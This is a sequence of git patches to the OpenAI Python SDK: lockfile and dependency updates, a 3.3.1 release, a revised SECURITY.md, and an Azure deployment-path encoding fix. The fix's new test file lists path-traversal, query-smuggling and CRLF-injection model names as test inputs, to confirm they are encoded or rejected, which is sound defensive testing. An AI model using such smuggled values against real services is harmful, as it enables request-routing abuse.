+ { url = "https://files.pythonhosted.org/packages/11/fc/1f4fb7ebf9a724c7741994f4aae18fba1e2f3133df14521a79194952c34a/jiter-0.16.0-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cf0d73f50e7b6935677854f6e8e31d499ca7064dd24734f703e060f5b237d883", size = 336998, upload-time = "2026-06-29T13:04:00.071Z" },
+ { url = "https://files.pythonhosted.org/packages/a0/8d/72cadaac05ccfa7cc3a0a2232862e6c72443ca40cf300ba8b57f9f18b69b/jiter-0.16.0-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:bf3ea07d9bc8e7d03a9fbc051295462e6dbc295b894fd72457c3136e3e43d898", size = 362112, upload-time = "2026-06-29T13:04:01.52Z" },
+ { url = "https://files.pythonhosted.org/packages/58/4a/c4b0d5f651fda90a24ffce9f8d56cde462a2e09d31ae3de3c68cef34c04e/jiter-0.16.0-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:26798522707abb47d767db536e4148ceac1b14446bf028ee85e579a2e043cfe5", size = 459807, upload-time = "2026-06-29T13:04:03.214Z" },
+ { url = "https://files.pythonhosted.org/packages/80/58/ef77879ea9aa56b50824edc5a445e226422c7a8d211f3fd2a56bcb9493cf/jiter-0.16.0-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:bc837c1b9631be10abfe0191537fe8009838204cec7e44827401ace390ddb567", size = 373181, upload-time = "2026-06-29T13:04:04.629Z" },
+ { url = "https://files.pythonhosted.org/packages/49/2e/ffbc3f254e4d8a66da3062c624a7df4b7c2b2cf9e1fe43cf394b3e104041/jiter-0.16.0-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:49060fd70737fad59d33ba9dcc0d83247dc9e77187de26053a19c16c9f32bd69", size = 344927, upload-time = "2026-06-29T13:04:06.067Z" },
+ { url = "https://files.pythonhosted.org/packages/9a/f6/0be5dc6d64a89f80aa8fec984f94dedb2973e251edcae55841d60786d578/jiter-0.16.0-cp314-cp314-manylinux_2_31_riscv64.whl", hash = "sha256:adbb8edeadd431bc4477879d5d371ece7cb1334486584e0f252656dd7ffada29", size = 352754, upload-time = "2026-06-29T13:04:07.477Z" },
+ { url = "https://files.pythonhosted.org/packages/da/6e/7d31243b3b91cd261dd19e9d3557fc3251a80883d3d8049c86174e7ab7af/jiter-0.16.0-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:31aaee5b80f672c1dc21272bcfb9cbdcfc1ea04ff50f00ed5af500b80c44fa93", size = 390553, upload-time = "2026-06-29T13:04:08.92Z" },
+ { url = "https://files.pythonhosted.org/packages/25/33/51ae371fde3c88897520f62b4d5f8b27ad7103e2bb10812ff52195609853/jiter-0.16.0-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:6722bcef4ffc86c835574b1b2fac6b33b9fb4a889c781e67950e891591f3c55a", size = 516900, upload-time = "2026-06-29T13:04:10.407Z" },
+ { url = "https://files.pythonhosted.org/packages/a0/45/6449b3d123ea439ba79507c657288f461d55049e7bcbdc2cf8eb8210f491/jiter-0.16.0-cp314-cp314-musllinux_1_1_x86_64.whl", hash = "sha256:5ab4f50ff971b611d656554ea10b75f80097392c827bc32923c6eeb6386c8b00", size = 548754, upload-time = "2026-06-29T13:04:12.046Z" },
+ { url = "https://files.pythonhosted.org/packages/9b/e7/fd2fb11ae3e2649333da3aa170d04d7b3000bbdc3b270f6513382fdf4e04/jiter-0.16.0-cp314-cp314-pyemscripten_2026_0_wasm32.whl", hash = "sha256:710cc51d4ebdcd3c1f70b232c1db1ea1344a075770422bbd4bede5708335acbe", size = 122381, upload-time = "2026-06-29T13:04:13.413Z" },
+ { url = "https://files.pythonhosted.org/packages/26/80/f0b147a62c315a164ed2168908286ca302310824c218d3aae52b06c0c9a9/jiter-0.16.0-cp314-cp314-win32.whl", hash = "sha256:57b37fc887a32d44798e4d8ebfa7c9683ff3da1d5bf38f08d1bb3573ccb39106", size = 204578, upload-time = "2026-06-29T13:04:14.813Z" },
+ { url = "https://files.pythonhosted.org/packages/5e/e6/4758a14304b4523a6f5adb2419340086aa3593bd4327c2b25b5948a90548/jiter-0.16.0-cp314-cp314-win_amd64.whl", hash = "sha256:cbd18dd5e2df96b580487b5745adf57ef64ad89ba2d9662fc3c19386acce7db8", size = 198154, upload-time = "2026-06-29T13:04:16.272Z" },
+ { url = "https://files.pythonhosted.org/packages/26/be/41fa54a2e7ea41d6c99f1dc5b1f0fd4cb474680304b5d268dd518e81da3a/jiter-0.16.0-cp314-cp314-win_arm64.whl", hash = "sha256:a32d2027a9fa67f109ff245a3252ece3ccc32cc56703e1deab6cc846a59e0585", size = 191458, upload-time = "2026-06-29T13:04:17.707Z" },
+ { url = "https://files.pythonhosted.org/packages/81/6b/59127338b86d9fe4d99418f5a15118bea778103ee0fe9d9dd7e0af174e95/jiter-0.16.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:2577196f4474ef3fc4779a088a23b0897bbf86f9ea3679c372d45b8383b43207", size = 316739, upload-time = "2026-06-29T13:04:19.663Z" },
+ { url = "https://files.pythonhosted.org/packages/2d/95/49461034d5388196d3dabf98748935f017b7785d8f3f5349f834bcc4ed0d/jiter-0.16.0-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:616e89e008a93c01104161c75b4988e58716b01d62307ebfe161e52a56d2a818", size = 340911, upload-time = "2026-06-29T13:04:21.257Z" },
+ { url = "https://files.pythonhosted.org/packages/cd/97/a4369f2fb82cb3dda13b98622f31249b2e014b223fe64ee534413ad72294/jiter-0.16.0-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:0e2e9efbe042210df657bade597f66d6d75723e3d8f45a12ea6d8167ff8bbce3", size = 361747, upload-time = "2026-06-29T13:04:22.677Z" },
+ { url = "https://files.pythonhosted.org/packages/28/51/49b6ed456261646e1906016a6760367a28aacd3c24805e4e5fe64116c1db/jiter-0.16.0-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3f4d9e473a5ce7d27fef8b848df4dc16e283893d3f53b4a585e72c9595f3c284", size = 460225, upload-time = "2026-06-29T13:04:24.441Z" },
+ { url = "https://files.pythonhosted.org/packages/33/b5/5689aff4f66c5b60be63106e591dbfcba2190df97d2c9c7cf052361ddb98/jiter-0.16.0-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8d30a4a1c87713060c8d1cc59a7b6c8fb6b8ef0a6900368014c76c87922a2929", size = 373169, upload-time = "2026-06-29T13:04:25.884Z" },
+ { url = "https://files.pythonhosted.org/packages/a2/96/3ae1b85ee0d6d6cab254fb7f8da018272b932bbf2d69b07e98aa2a96c746/jiter-0.16.0-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bae96332410f866e5900d809298b1ed82735932986c672495f9701daacd80620", size = 350332, upload-time = "2026-06-29T13:04:27.302Z" },
+ { url = "https://files.pythonhosted.org/packages/15/32/c99d7bafd78986556c95bf60ce84c6cc98786eac56066c12d7f828bb6747/jiter-0.16.0-cp314-cp314t-manylinux_2_31_riscv64.whl", hash = "sha256:da3d7ec75dc83bb18bca888b5edfae0656a26849056c59e05a7728badd17e7af", size = 353377, upload-time = "2026-06-29T13:04:28.731Z" },
+ { url = "https://files.pythonhosted.org/packages/0e/4b/f99a8e571287c3dec766bcc18528bbe8e8fb5365522ab5e6d64c93e87066/jiter-0.16.0-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:ee6162b77d49a9939229df666dfa8af3e656b6701b54c4c84966d740e189264e", size = 387746, upload-time = "2026-06-29T13:04:30.319Z" },
+ { url = "https://files.pythonhosted.org/packages/75/69/c78a5b3f71040e34eb5917df26fb7ae9a2174cad1ccbf277512507c53a6e/jiter-0.16.0-cp314-cp314t-musllinux_1_1_aarch64.whl", hash = "sha256:63ffdbdae7d4499f4cda14eadc12ddcabef0fc0c081191bdc2247489cb698077", size = 517292, upload-time = "2026-06-29T13:04:31.709Z" },
+ { url = "https://files.pythonhosted.org/packages/c2/f7/095b38eda4c70d03651c403f29a5590f16d12ddc5d544aac9f9cddf72277/jiter-0.16.0-cp314-cp314t-musllinux_1_1_x86_64.whl", hash = "sha256:a111256a7193bea0759267b10385e5870949c239ed7b6ddbaaf57573edb38734", size = 549259, upload-time = "2026-06-29T13:04:33.721Z" },
+ { url = "https://files.pythonhosted.org/packages/2e/c5/6a0207d90e5f656d95af98ebd0934f382d37674416f215aeda2ff8063e51/jiter-0.16.0-cp314-cp314t-win32.whl", hash = "sha256:de5ba8763e56b793561f43bed197c9ea55776daa5e9a6b91eed68a909bc9cdbf", size = 206523, upload-time = "2026-06-29T13:04:35.068Z" },
+ { url = "https://files.pythonhosted.org/packages/a5/31/c757d5f30a8980fd945ce7b98be10be9e4ff59c7c42f5fd86804c2e87db8/jiter-0.16.0-cp314-cp314t-win_amd64.whl", hash = "sha256:b8a3f9a6008048fe9def7bf465180564a6e458047d2ce499149cfbe73c3ae9db", size = 200366, upload-time = "2026-06-29T13:04:36.61Z" },
+ { url = "https://files.pythonhosted.org/packages/7c/a2/d88de6d313d734a544a7901353ad5db67cb38dcfcd91713b7979dafc345d/jiter-0.16.0-cp314-cp314t-win_arm64.whl", hash = "sha256:0fa25b09b13075c46f5bc174f2690525a925a4fc2f7c82969a2bbabff22386ce", size = 190516, upload-time = "2026-06-29T13:04:38.004Z" },
+ { url = "https://files.pythonhosted.org/packages/06/d3/8e278946d43eeca2585b4dd0834a887cd71136329b837f3a16ed86a8b4b0/jiter-0.16.0-graalpy311-graalpy242_311_native-macosx_10_12_x86_64.whl", hash = "sha256:850ccb1d7eedb4200f4014b1c0e8a577de114fc3cd88faad646dcc9bc4bb12ad", size = 304518, upload-time = "2026-06-29T13:05:00.172Z" },
+ { url = "https://files.pythonhosted.org/packages/72/43/28d4ef495028bf0506a413d4db3f4eb3e7288a382e0f065f306a17bbeb5e/jiter-0.16.0-graalpy311-graalpy242_311_native-macosx_11_0_arm64.whl", hash = "sha256:e34e97bda77eb63242a410243c071e28ac7e0d8c0948c5ee658498690a4b2f2f", size = 310207, upload-time = "2026-06-29T13:05:02.123Z" },
+ { url = "https://files.pythonhosted.org/packages/e0/ca/c366b1012da1d640de975d9683acd44e4d150d9068845d0ca2610435253f/jiter-0.16.0-graalpy311-graalpy242_311_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b7dc85ea77d4abbae8bad0d3538678aedee75bceec4e2f6c8dfb1c74772e5aa5", size = 342771, upload-time = "2026-06-29T13:05:03.55Z" },
+ { url = "https://files.pythonhosted.org/packages/16/52/50cc4056fc1ae02e7154704e7ecc89df0afb8300222cfe8a52d3f67e4730/jiter-0.16.0-graalpy311-graalpy242_311_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:17ca7fae79f6d99cd9a042b75f917eaada7b895cfc7dd2ee3a16089dcaec7a85", size = 346468, upload-time = "2026-06-29T13:05:05.452Z" },
+ { url = "https://files.pythonhosted.org/packages/98/ab/664fd8c4be028b2bedd3d2ff08769c4ede23d0dbc87a77c62384a0515b5d/jiter-0.16.0-graalpy312-graalpy250_312_native-macosx_10_12_x86_64.whl", hash = "sha256:f17d61a28b4b3e0e3e2ba98490c70501403b4d196f78732439160e7fd3678127", size = 303106, upload-time = "2026-06-29T13:05:07.118Z" },
+ { url = "https://files.pythonhosted.org/packages/1a/07/421f1d5b65493a76e16027b848aba6a7d28073ae75944fa4289cc914d39f/jiter-0.16.0-graalpy312-graalpy250_312_native-macosx_11_0_arm64.whl", hash = "sha256:96e38eea538c8ddf853a35727c7be0741c76c13f04148ac5c116222f50ece3b3", size = 304658, upload-time = "2026-06-29T13:05:08.708Z" },
+ { url = "https://files.pythonhosted.org/packages/0a/db/bba1155f01a01c3c37a89425d571da751bbedf5c54247b831a04cb971798/jiter-0.16.0-graalpy312-graalpy250_312_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d284fb8d94d5855d60c44fefcab4bf966f1da6fada73992b01f6f0c9bc0c6702", size = 339719, upload-time = "2026-06-29T13:05:10.41Z" },
+ { url = "https://files.pythonhosted.org/packages/78/f7/18a1afcd64f35314b68c1f23afcd9994d0bc13e65cc77517afff4e83986d/jiter-0.16.0-graalpy312-graalpy250_312_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:64d613743df53199b1aa256a7d328340da6d7078aac7705a7db9d7a791e9cfd2", size = 343885, upload-time = "2026-06-29T13:05:12.087Z" },
]
[[package]]
@@ -1356,11 +1366,11 @@ requires-dist = [
{ name = "anyio", specifier = ">=4.10.0,<5" },
{ name = "botocore", marker = "extra == 'bedrock'", specifier = ">=1.40.0,<2" },
{ name = "httpx2", specifier = ">=2.7.0,<3" },
- { name = "jiter", specifier = ">=0.10.0,<1" },
+ { name = "jiter", specifier = ">=0.16.0,<1" },
{ name = "numpy", marker = "extra == 'datalib'", specifier = ">=1" },
{ name = "numpy", marker = "extra == 'voice-helpers'", specifier = ">=2.0.2" },
{ name = "pandas", marker = "extra == 'datalib'", specifier = ">=1.2.3" },
- { name = "pydantic", specifier = ">=1.9.0,<3" },
+ { name = "pydantic", specifier = ">=1.10.13,!=2.0.*,!=2.1.*,!=2.2.*,!=2.3.*,<3" },
{ name = "sniffio" },
{ name = "sounddevice", marker = "extra == 'voice-helpers'", specifier = ">=0.5.1" },
{ name = "typing-extensions", specifier = ">=4.14,<5" },
@@ -1371,7 +1381,7 @@ provides-extras = ["aiohttp", "realtime", "datalib", "voice-helpers", "bedrock"]
[package.metadata.requires-dev]
build = [
- { name = "hatchling", specifier = "==1.26.3" },
+ { name = "hatchling", specifier = "==1.27.0" },
{ name = "packaging", specifier = "==26.3" },
{ name = "pathspec", specifier = "==1.1.1" },
{ name = "pluggy", specifier = "==1.6.0" },
@@ -1385,8 +1395,8 @@ dev = [
{ name = "inline-snapshot", specifier = ">=0.28.0" },
{ name = "mypy", specifier = "==1.17" },
{ name = "pandas-stubs", specifier = ">=1.1.0.11" },
- { name = "pytest" },
- { name = "pytest-asyncio" },
+ { name = "pytest", specifier = ">=9.0.3" },
+ { name = "pytest-asyncio", specifier = ">=1.4.0" },
{ name = "pytest-xdist", specifier = ">=3.6.1" },
{ name = "rich", specifier = ">=13.7.1" },
{ name = "ruff" },
From 753ab5c1a81cd85e8bf0aef4c04c51a2e8dae6cd Mon Sep 17 00:00:00 2001
From: "openai-sdks[bot]" <284451331+openai-sdks[bot]@users.noreply.github.com>
Date: Wed, 19 Aug 2026 16:27:51 +0000
Subject: [PATCH 039/341] release: 3.3.1 (#3658)
Automated Release PR
---
##
[3.3.1](https://github.com/openai/openai-python/compare/v3.3.0...v3.3.1)
(2026-08-19)
### Bug Fixes
* **deps:** update dependencies with published security fixes
([#3680](https://github.com/openai/openai-python/issues/3680))
([53aa4fc](https://github.com/openai/openai-python/commit/53aa4fc68b65f42456cafaaa5ff4b0d317184752))
### Chores
* **build:** migrate to uv
([#3653](https://github.com/openai/openai-python/issues/3653))
([b37e85d](https://github.com/openai/openai-python/commit/b37e85d8fe9cd2b23862dbc62716d38e2cacaf92))
* **deps:** remove jsonschema and unused fixture-validation dependencies
([0dfdfdd](https://github.com/openai/openai-python/commit/0dfdfdddfbeb591a1bb5b3b4aa62e4a9870fcaa6))
* lock the repository Pyright toolchain
([#3678](https://github.com/openai/openai-python/issues/3678))
([3079be2](https://github.com/openai/openai-python/commit/3079be224c05479b6cf8aa329480c249f66f0599))
* run the mock server from locked local tooling
([#3679](https://github.com/openai/openai-python/issues/3679))
([370fcc6](https://github.com/openai/openai-python/commit/370fcc60ce9006db5a75dcd0333790dfe71a907c))
### Refactors
* **deps:** use the standard library for platform detection
([d5b0065](https://github.com/openai/openai-python/commit/d5b00659d6659c5def665cb04e6563bdf683ea03))
### Build System
* replace the external README metadata hook
([e673ca8](https://github.com/openai/openai-python/commit/e673ca8ff9e5c2292615976e99bf5731d47327e8))
---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).
Co-authored-by: openai-sdks[bot] <284451331+openai-sdks[bot]@users.noreply.github.com>
---
.release-please-manifest.json | 2 +-
CHANGELOG.md | 25 +++++++++++++++++++++++++
pyproject.toml | 2 +-
src/openai/_version.py | 2 +-
uv.lock | 2 +-
5 files changed, 29 insertions(+), 4 deletions(-)
diff --git a/.release-please-manifest.json b/.release-please-manifest.json
index ff1c7af587..0befe35d6d 100644
--- a/.release-please-manifest.json
+++ b/.release-please-manifest.json
@@ -1,3 +1,3 @@
{
- ".": "3.3.0"
+ ".": "3.3.1"
}
\ No newline at end of file
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 7295718971..85872e148d 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1,5 +1,30 @@
# Changelog
+## [3.3.1](https://github.com/openai/openai-python/compare/v3.3.0...v3.3.1) (2026-08-19)
+
+
+### Bug Fixes
+
+* **deps:** update dependencies with published security fixes ([#3680](https://github.com/openai/openai-python/issues/3680)) ([53aa4fc](https://github.com/openai/openai-python/commit/53aa4fc68b65f42456cafaaa5ff4b0d317184752))
+
+
+### Chores
+
+* **build:** migrate to uv ([#3653](https://github.com/openai/openai-python/issues/3653)) ([b37e85d](https://github.com/openai/openai-python/commit/b37e85d8fe9cd2b23862dbc62716d38e2cacaf92))
+* **deps:** remove jsonschema and unused fixture-validation dependencies ([0dfdfdd](https://github.com/openai/openai-python/commit/0dfdfdddfbeb591a1bb5b3b4aa62e4a9870fcaa6))
+* lock the repository Pyright toolchain ([#3678](https://github.com/openai/openai-python/issues/3678)) ([3079be2](https://github.com/openai/openai-python/commit/3079be224c05479b6cf8aa329480c249f66f0599))
+* run the mock server from locked local tooling ([#3679](https://github.com/openai/openai-python/issues/3679)) ([370fcc6](https://github.com/openai/openai-python/commit/370fcc60ce9006db5a75dcd0333790dfe71a907c))
+
+
+### Refactors
+
+* **deps:** use the standard library for platform detection ([d5b0065](https://github.com/openai/openai-python/commit/d5b00659d6659c5def665cb04e6563bdf683ea03))
+
+
+### Build System
+
+* replace the external README metadata hook ([e673ca8](https://github.com/openai/openai-python/commit/e673ca8ff9e5c2292615976e99bf5731d47327e8))
+
## [3.3.0](https://github.com/openai/openai-python/compare/v3.2.0...v3.3.0) (2026-08-18)
diff --git a/pyproject.toml b/pyproject.toml
index 609ea7bb98..acacf8fcbe 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -1,6 +1,6 @@
[project]
name = "openai"
-version = "3.3.0"
+version = "3.3.1"
description = "The official Python library for the openai API"
dynamic = ["readme"]
license = "Apache-2.0"
diff --git a/src/openai/_version.py b/src/openai/_version.py
index 49d23676c9..186c987465 100644
--- a/src/openai/_version.py
+++ b/src/openai/_version.py
@@ -1,2 +1,2 @@
__title__ = "openai"
-__version__ = "3.3.0" # x-release-please-version
+__version__ = "3.3.1" # x-release-please-version
diff --git a/uv.lock b/uv.lock
index f61fe51e31..fbfb24e3b7 100644
--- a/uv.lock
+++ b/uv.lock
@@ -1296,7 +1296,7 @@ wheels = [
[[package]]
name = "openai"
-version = "3.3.0" # x-release-please-version
+version = "3.3.1" # x-release-please-version
source = { editable = "." }
dependencies = [
{ name = "anyio" },
From 1fc0a217047cf7f767db10479b5d741b870bc74f Mon Sep 17 00:00:00 2001
From: Hayden
Date: Wed, 19 Aug 2026 17:10:06 +0000
Subject: [PATCH 040/341] docs: standardize Python SDK vulnerability disclosure
policy (#3642)
- [x] I understand that this repository is auto-generated and my pull
request may not be merged
## Changes being requested
- Standardize `SECURITY.md` on the shared public SDK policy: **Reporting
a vulnerability**, **What to include**, and **Coordinated disclosure**.
- Use the exact shared warnings against public GitHub issues/pull
requests/discussions and including live credentials, API keys, customer
data, or unredacted sensitive logs.
- Preserve Python's existing coordinated-disclosure URL,
`disclosure@openai.com` contact, authentication-header/private-key
redaction, and respectful disclosure commitment.
- Document the official `openai` PyPI package, published source
distributions/wheels, and relevant package version, Python version,
operating system, impact, and sanitized reproduction details.
## Verification
- CommonMark parsing and exact assertions for the three canonical
headings, three shared report-detail bullets, and all three verbatim
shared warning/disclosure sentences.
- Existing disclosure endpoint returned HTTP 200; disclosure URL/contact
were preserved, and the PyPI URL matches the existing README and actual
`sdist`/wheel build targets.
- Credential-like-literal, line-ending, trailing-whitespace, and
Markdown-link validation.
- `python scripts/check-python-version-policy.py`
- `git diff origin/main...HEAD --check`
## Additional context & links
Only the existing root `SECURITY.md` is changed; no private-reporting
settings, workflows, package code, or unrelated policies are modified.
---
SECURITY.md | 36 ++++++++++++++++++++++++++----------
1 file changed, 26 insertions(+), 10 deletions(-)
diff --git a/SECURITY.md b/SECURITY.md
index aa583877fa..0406a5a0e4 100644
--- a/SECURITY.md
+++ b/SECURITY.md
@@ -1,18 +1,34 @@
# Security Policy
-## Reporting Security Issues
+## Reporting a vulnerability
-Please report potential security vulnerabilities through OpenAI's
+Please report potential security vulnerabilities privately through OpenAI's
[coordinated vulnerability disclosure process](https://openai.com/policies/coordinated-vulnerability-disclosure-policy).
For questions about that process, contact disclosure@openai.com.
-Do not report vulnerabilities through public GitHub issues, discussions, pull
-requests, or other public channels. When reporting privately, include the
-affected SDK version, impact, and reproduction steps where possible; redact API
-keys, authentication headers, private keys, and customer data from all reports.
+This policy applies to the source code in this repository and the official
+[`openai` Python package](https://pypi.org/project/openai/), including its
+published source distributions and wheels.
-## Responsible Disclosure
+Do not report security vulnerabilities through public GitHub issues, pull requests, or discussions.
-Please allow OpenAI a reasonable amount of time to investigate and address the
-issue before making information public. Thank you for helping us keep this SDK
-and the systems it interacts with secure.
+## What to include
+
+- The affected package or product and version, or the relevant source commit.
+- A clear description of the security impact.
+- Sanitized steps to reproduce the issue.
+
+For the `openai` Python package, include the Python version, operating system,
+and affected source distribution or wheel when relevant.
+
+Do not include live credentials, API keys, customer data, or unredacted sensitive logs.
+
+Redact authentication headers and private keys, and replace other secrets with
+clearly fake values.
+
+## Coordinated disclosure
+
+Follow the linked coordinated-disclosure terms, and keep vulnerability details
+confidential until their release is coordinated with or authorized by OpenAI.
+
+Thank you for helping us keep this SDK and the systems it interacts with secure.
From 689538d531692e30ac1928779e6f1b97cc95db45 Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Wed, 19 Aug 2026 20:37:10 +0000
Subject: [PATCH 041/341] fix(azure): encode deployment names consistently
(#3683)
Azure requests that select a deployment through `model` should handle
its name consistently with other SDK path parameters. Use the existing
path encoder when constructing the deployment URL, preserving the
selected operation and normal deployment names.
Fixed-deployment clients and non-deployment endpoints retain their
existing routing behavior. Includes focused synchronous and asynchronous
regression coverage.
---
src/openai/lib/azure.py | 4 +-
tests/lib/test_azure_deployment_path.py | 149 ++++++++++++++++++++++++
2 files changed, 151 insertions(+), 2 deletions(-)
create mode 100644 tests/lib/test_azure_deployment_path.py
diff --git a/src/openai/lib/azure.py b/src/openai/lib/azure.py
index 5a17ea7326..18dd799914 100644
--- a/src/openai/lib/azure.py
+++ b/src/openai/lib/azure.py
@@ -9,7 +9,7 @@
from ..auth import WorkloadIdentity, X509WorkloadIdentity
from .._types import NOT_GIVEN, Omit, Query, Headers, Timeout, NotGiven
-from .._utils import is_given, is_mapping
+from .._utils import is_given, is_mapping, path_template
from .._client import OpenAI, AsyncOpenAI
from .._compat import model_copy
from .._httpx2 import normalize_httpx_url
@@ -77,7 +77,7 @@ def _build_request(
if options.url in _deployments_endpoints and is_mapping(options.json_data):
model = options.json_data.get("model")
if model is not None and "/deployments" not in str(self.base_url.path):
- options.url = f"/deployments/{model}{options.url}"
+ options.url = path_template("/deployments/{model}", model=model) + options.url
return super()._build_request(options, retries_taken=retries_taken)
diff --git a/tests/lib/test_azure_deployment_path.py b/tests/lib/test_azure_deployment_path.py
new file mode 100644
index 0000000000..3e6a8fca51
--- /dev/null
+++ b/tests/lib/test_azure_deployment_path.py
@@ -0,0 +1,149 @@
+from __future__ import annotations
+
+import json
+
+import httpx2
+import pytest
+
+from openai._models import FinalRequestOptions
+from openai.lib.azure import AzureOpenAI, AsyncAzureOpenAI, _deployments_endpoints
+
+_ENDPOINT = "https://azure.example.invalid"
+_API_VERSION = "2024-02-01"
+_MODELS = [
+ ("my-deployment_1.2", "my-deployment_1.2"),
+ (".hidden", ".hidden"),
+ ("...", "..."),
+ ("a/b", "a%2Fb"),
+ ("../other/operation#", "..%2Fother%2Foperation%23"),
+ ("a/./b/../c", "a%2F.%2Fb%2F..%2Fc"),
+ ("%2e%2E%2fother%3fquery%23fragment", "%252e%252E%252fother%253fquery%2523fragment"),
+ ("%252e%252e%252fother", "%25252e%25252e%25252fother"),
+ ("%2e", "%252e"),
+ (".%2E", ".%252E"),
+ ("%2e.", "%252e."),
+ ("a?api-version=other&x=y", "a%3Fapi-version=other&x=y"),
+ ("a#fragment", "a%23fragment"),
+ ("a\\b", "a%5Cb"),
+ ("a\r\n/b", "a%0D%0A%2Fb"),
+ ("a b", "a%20b"),
+]
+
+
+def _assert_request(request: httpx2.Request, path: str, model: str) -> None:
+ assert request.method == "POST"
+ assert str(request.url) == f"{_ENDPOINT}/openai{path}?api-version={_API_VERSION}"
+ assert request.url.raw_path == f"/openai{path}?api-version={_API_VERSION}".encode()
+ assert not request.url.fragment
+ assert json.loads(request.content)["model"] == model
+
+
+@pytest.mark.parametrize("client_type", [AzureOpenAI, AsyncAzureOpenAI])
+@pytest.mark.parametrize("endpoint", sorted(_deployments_endpoints))
+@pytest.mark.parametrize("model,encoded", _MODELS)
+def test_deployment_model_is_one_path_segment(
+ client_type: type[AzureOpenAI] | type[AsyncAzureOpenAI], endpoint: str, model: str, encoded: str
+) -> None:
+ client = client_type(api_key="fake-key", api_version=_API_VERSION, azure_endpoint=_ENDPOINT)
+ request = client._build_request(
+ FinalRequestOptions.construct(method="post", url=endpoint, json_data={"model": model})
+ )
+ _assert_request(request, f"/deployments/{encoded}{endpoint}", model)
+
+
+@pytest.mark.parametrize("client_type", [AzureOpenAI, AsyncAzureOpenAI])
+@pytest.mark.parametrize("endpoint", sorted(_deployments_endpoints))
+@pytest.mark.parametrize("model", [".", ".."])
+def test_deployment_model_rejects_dot_segments(
+ client_type: type[AzureOpenAI] | type[AsyncAzureOpenAI], endpoint: str, model: str
+) -> None:
+ client = client_type(api_key="fake-key", api_version=_API_VERSION, azure_endpoint=_ENDPOINT)
+ with pytest.raises(ValueError, match="dot-segment"):
+ client._build_request(FinalRequestOptions.construct(method="post", url=endpoint, json_data={"model": model}))
+
+
+@pytest.mark.parametrize("client_type", [AzureOpenAI, AsyncAzureOpenAI])
+@pytest.mark.parametrize("deployment", [None, "fixed-deployment"])
+@pytest.mark.parametrize("endpoint", ["/chat/completions", "/responses", "/files"])
+def test_deployment_rewrite_preserves_existing_routes(
+ client_type: type[AzureOpenAI] | type[AsyncAzureOpenAI], deployment: str | None, endpoint: str
+) -> None:
+ client = client_type(
+ api_key="fake-key", api_version=_API_VERSION, azure_endpoint=_ENDPOINT, azure_deployment=deployment
+ )
+ model = ".." if deployment is not None or endpoint != "/chat/completions" else "ordinary-model"
+ request = client._build_request(
+ FinalRequestOptions.construct(method="post", url=endpoint, json_data={"model": model})
+ )
+ prefix = f"/deployments/{deployment or model}" if endpoint == "/chat/completions" else ""
+ _assert_request(request, prefix + endpoint, model)
+
+
+@pytest.mark.parametrize("model,encoded", _MODELS)
+def test_sync_deployment_request(model: str, encoded: str) -> None:
+ requests: list[httpx2.Request] = []
+
+ def handle(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return httpx2.Response(200, json={"id": "fake-completion", "choices": []})
+
+ with AzureOpenAI(
+ api_key="fake-key",
+ api_version=_API_VERSION,
+ azure_endpoint=_ENDPOINT,
+ http_client=httpx2.Client(transport=httpx2.MockTransport(handle)),
+ ) as client:
+ client.chat.completions.create(model=model, messages=[])
+
+ assert len(requests) == 1
+ _assert_request(requests[0], f"/deployments/{encoded}/chat/completions", model)
+
+
+@pytest.mark.parametrize("model,encoded", _MODELS)
+async def test_async_deployment_request(model: str, encoded: str) -> None:
+ requests: list[httpx2.Request] = []
+
+ def handle(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return httpx2.Response(200, json={"id": "fake-completion", "choices": []})
+
+ async with AsyncAzureOpenAI(
+ api_key="fake-key",
+ api_version=_API_VERSION,
+ azure_endpoint=_ENDPOINT,
+ http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(handle)),
+ ) as client:
+ await client.chat.completions.create(model=model, messages=[])
+
+ assert len(requests) == 1
+ _assert_request(requests[0], f"/deployments/{encoded}/chat/completions", model)
+
+
+@pytest.mark.parametrize("model", [".", ".."])
+def test_sync_dot_segment_is_rejected_before_send(model: str) -> None:
+ def handle(_request: httpx2.Request) -> httpx2.Response:
+ pytest.fail("Unexpected HTTP request")
+
+ with AzureOpenAI(
+ api_key="fake-key",
+ api_version=_API_VERSION,
+ azure_endpoint=_ENDPOINT,
+ http_client=httpx2.Client(transport=httpx2.MockTransport(handle)),
+ ) as client:
+ with pytest.raises(ValueError, match="dot-segment"):
+ client.chat.completions.create(model=model, messages=[])
+
+
+@pytest.mark.parametrize("model", [".", ".."])
+async def test_async_dot_segment_is_rejected_before_send(model: str) -> None:
+ def handle(_request: httpx2.Request) -> httpx2.Response:
+ pytest.fail("Unexpected HTTP request")
+
+ async with AsyncAzureOpenAI(
+ api_key="fake-key",
+ api_version=_API_VERSION,
